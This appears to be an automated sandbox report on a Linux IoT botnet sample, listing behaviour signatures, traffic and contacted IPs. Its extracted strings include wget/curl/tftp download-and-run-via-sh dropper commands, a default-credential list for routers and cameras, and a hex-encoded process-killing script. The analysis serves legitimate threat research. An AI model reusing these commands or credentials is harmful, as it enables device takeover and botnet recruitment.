Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name: la.bot.m68k.elf
Analysis ID: 1541771
MD5: 624b59b9e8e8fc35eb4f09c7c43782ea
SHA1: 90366b4ff12e03a9babe2ad153802e5bcca4ca9f
SHA256: 82e12bc47d2f1327042c8aa86e5acad845fd937fd5371e67794c97b4ddebbc22
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.m68k.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.m68k.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elf String: N^Nu/proc/ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.m68k.elf String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.m68k.elf (PID: 5423) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 118.245.170.157
Source: unknown TCP traffic detected without corresponding DNS query: 11.134.198.54
Source: unknown TCP traffic detected without corresponding DNS query: 118.245.170.157
Source: unknown TCP traffic detected without corresponding DNS query: 11.134.198.54
Source: unknown TCP traffic detected without corresponding DNS query: 112.71.80.188
Source: unknown TCP traffic detected without corresponding DNS query: 112.71.80.188
Source: unknown TCP traffic detected without corresponding DNS query: 198.215.54.164
Source: unknown TCP traffic detected without corresponding DNS query: 191.2.161.212
Source: unknown TCP traffic detected without corresponding DNS query: 198.215.54.164
Source: unknown TCP traffic detected without corresponding DNS query: 200.143.152.139
Source: unknown TCP traffic detected without corresponding DNS query: 191.2.161.212
Source: unknown TCP traffic detected without corresponding DNS query: 70.116.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 200.143.152.139
Source: unknown TCP traffic detected without corresponding DNS query: 156.164.53.216
Source: unknown TCP traffic detected without corresponding DNS query: 70.116.139.101
Source: unknown TCP traffic detected without corresponding DNS query: 49.25.139.17
Source: unknown TCP traffic detected without corresponding DNS query: 156.164.53.216
Source: unknown TCP traffic detected without corresponding DNS query: 204.98.170.31
Source: unknown TCP traffic detected without corresponding DNS query: 49.25.139.17
Source: unknown TCP traffic detected without corresponding DNS query: 159.40.103.115
Source: unknown TCP traffic detected without corresponding DNS query: 204.98.170.31
Source: unknown TCP traffic detected without corresponding DNS query: 206.149.219.70
Source: unknown TCP traffic detected without corresponding DNS query: 159.40.103.115
Source: unknown TCP traffic detected without corresponding DNS query: 44.200.125.35
Source: unknown TCP traffic detected without corresponding DNS query: 206.149.219.70
Source: unknown TCP traffic detected without corresponding DNS query: 195.177.205.232
Source: unknown TCP traffic detected without corresponding DNS query: 44.200.125.35
Source: unknown TCP traffic detected without corresponding DNS query: 47.128.253.161
Source: unknown TCP traffic detected without corresponding DNS query: 195.177.205.232
Source: unknown TCP traffic detected without corresponding DNS query: 148.138.77.246
Source: unknown TCP traffic detected without corresponding DNS query: 47.128.253.161
Source: unknown TCP traffic detected without corresponding DNS query: 194.72.83.147
Source: unknown TCP traffic detected without corresponding DNS query: 148.138.77.246
Source: unknown TCP traffic detected without corresponding DNS query: 198.250.68.208
Source: unknown TCP traffic detected without corresponding DNS query: 194.72.83.147
Source: unknown TCP traffic detected without corresponding DNS query: 67.155.61.107
Source: unknown TCP traffic detected without corresponding DNS query: 198.250.68.208
Source: unknown TCP traffic detected without corresponding DNS query: 27.95.195.7
Source: unknown TCP traffic detected without corresponding DNS query: 67.155.61.107
Source: unknown TCP traffic detected without corresponding DNS query: 7.123.105.213
Source: unknown TCP traffic detected without corresponding DNS query: 27.95.195.7
Source: unknown TCP traffic detected without corresponding DNS query: 156.216.201.167
Source: unknown TCP traffic detected without corresponding DNS query: 7.123.105.213
Source: unknown TCP traffic detected without corresponding DNS query: 18.124.184.174
Source: unknown TCP traffic detected without corresponding DNS query: 156.216.201.167
Source: unknown TCP traffic detected without corresponding DNS query: 18.124.184.174
Source: unknown TCP traffic detected without corresponding DNS query: 106.195.194.6
Source: unknown TCP traffic detected without corresponding DNS query: 21.191.175.238
Source: unknown TCP traffic detected without corresponding DNS query: 106.195.194.6
Source: unknown TCP traffic detected without corresponding DNS query: 222.136.147.59
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.m68k.elf String found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50530
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//et
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.m68k.elf (PID: 5446) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal64.evad.linELF@0/0@2/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.m68k.elf (PID: 5448) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5448) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 5446) File opened: /proc/267/fd Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 5586) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0JLMnnOhrq /tmp/tmp.paVW5L5XgA /tmp/tmp.60GoaBrmjI Jump to behavior
Source: /usr/bin/dash (PID: 5587) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0JLMnnOhrq /tmp/tmp.paVW5L5XgA /tmp/tmp.60GoaBrmjI Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.m68k.elf (PID: 5448) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.m68k.elf (PID: 5423) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 5423.1.000055d966438000.000055d9664bd000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 5423.1.00007ffecaa31000.00007ffecaa52000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 5423.1.00007ffecaa31000.00007ffecaa52000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 5423.1.000055d966438000.000055d9664bd000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
9.194.8.139
 unknown United States
3356 LEVEL3US false
107.236.82.171
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
35.51.200.214
 unknown United States
36375 UMICH-AS-5US false
63.131.110.139
 unknown United States
7029 WINDSTREAMUS false
11.170.202.127
 unknown United States
3356 LEVEL3US false
84.80.92.126
 unknown Netherlands
1136 KPNKPNNationalEU false
207.222.19.226
 unknown United States
7029 WINDSTREAMUS false
7.0.158.134
 unknown United States
3356 LEVEL3US false
140.156.151.23
 unknown United States
721 DNIC-ASBLK-00721-00726US false
138.248.169.166
 unknown United Kingdom
8426 CLARANET-ASClaraNETLTDGB false
42.21.29.37
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
189.48.129.130
 unknown Brazil
7738 TelemarNorteLesteSABR false
173.107.6.253
 unknown United States
1239 SPRINTLINKUS false
52.176.67.203
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
40.1.80.58
 unknown United States
4249 LILLY-ASUS false
35.120.249.198
 unknown United States
237 MERIT-AS-14US false
49.248.226.129
 unknown India
55441 TTSLMEIS-AS-APTTSL-ISPDIVISIONIN false
47.30.142.155
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
47.166.81.190
 unknown United States
5650 FRONTIER-FRTRUS false
28.163.1.0
 unknown United States
7922 COMCAST-7922US false
44.193.243.219
 unknown United States
14618 AMAZON-AESUS false
114.171.242.89
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
208.144.2.210
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
212.165.122.225
 unknown Netherlands
25222 XANTIC-IPNL false
133.190.236.3
 unknown Japan 4729 JAEAJapanAtomicEnergyAgencyJP false
178.249.0.153
 unknown Germany
197063 AS-PFALZCONNECTDE false
26.227.12.163
 unknown United States
7922 COMCAST-7922US false
13.78.39.39
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
86.226.9.105
 unknown France
3215 FranceTelecom-OrangeFR false
14.253.216.56
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
155.110.105.52
 unknown United States
1906 NORTHROP-GRUMMANUS false
100.164.125.171
 unknown United States
21928 T-MOBILE-AS21928US false
47.161.251.122
 unknown United States
5650 FRONTIER-FRTRUS false
90.189.209.56
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
123.132.220.245
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
80.93.16.5
 unknown Ireland
31122 DIGIWEB-ASIE false
42.6.238.98
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
90.100.193.96
 unknown France
3215 FranceTelecom-OrangeFR false
2.113.15.61
 unknown Italy
3269 ASN-IBSNAZIT false
103.73.53.205
 unknown Bangladesh
203098 TECHNODATAGB false
65.33.242.10
 unknown United States
33363 BHN-33363US false
113.39.250.235
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
57.97.56.113
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
98.92.127.186
 unknown United States
11351 TWC-11351-NORTHEASTUS false
26.4.184.166
 unknown United States
7922 COMCAST-7922US false
211.31.182.187
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
142.97.101.242
 unknown Canada
5769 VIDEOTRONCA false
167.191.24.143
 unknown United States
18880 LAMRCUS false
138.117.20.145
 unknown Argentina
27984 VerTvSAAR false
65.50.169.117
 unknown United States
31939 GM-ATLUS false
2.27.226.122
 unknown United Kingdom
12576 EELtdGB false
111.162.218.138
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
50.186.251.165
 unknown United States
7922 COMCAST-7922US false
7.109.117.102
 unknown United States
3356 LEVEL3US false
113.205.57.254
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
176.191.115.31
 unknown France
5410 BOUYGTEL-ISPFR false
40.167.236.142
 unknown United States
4249 LILLY-ASUS false
126.147.119.216
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
114.128.125.180
 unknown Thailand
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
50.157.185.150
 unknown United States
7922 COMCAST-7922US false
57.62.64.156
 unknown Belgium
2686 ATGS-MMD-ASUS false
199.221.95.229
 unknown United States
701 UUNETUS false
164.174.227.123
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
30.212.109.244
 unknown United States
7922 COMCAST-7922US false
220.168.38.177
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
160.143.44.53
 unknown United States
1528 DNIC-AS-01528US false
47.137.48.239
 unknown United States
5650 FRONTIER-FRTRUS false
106.169.43.177
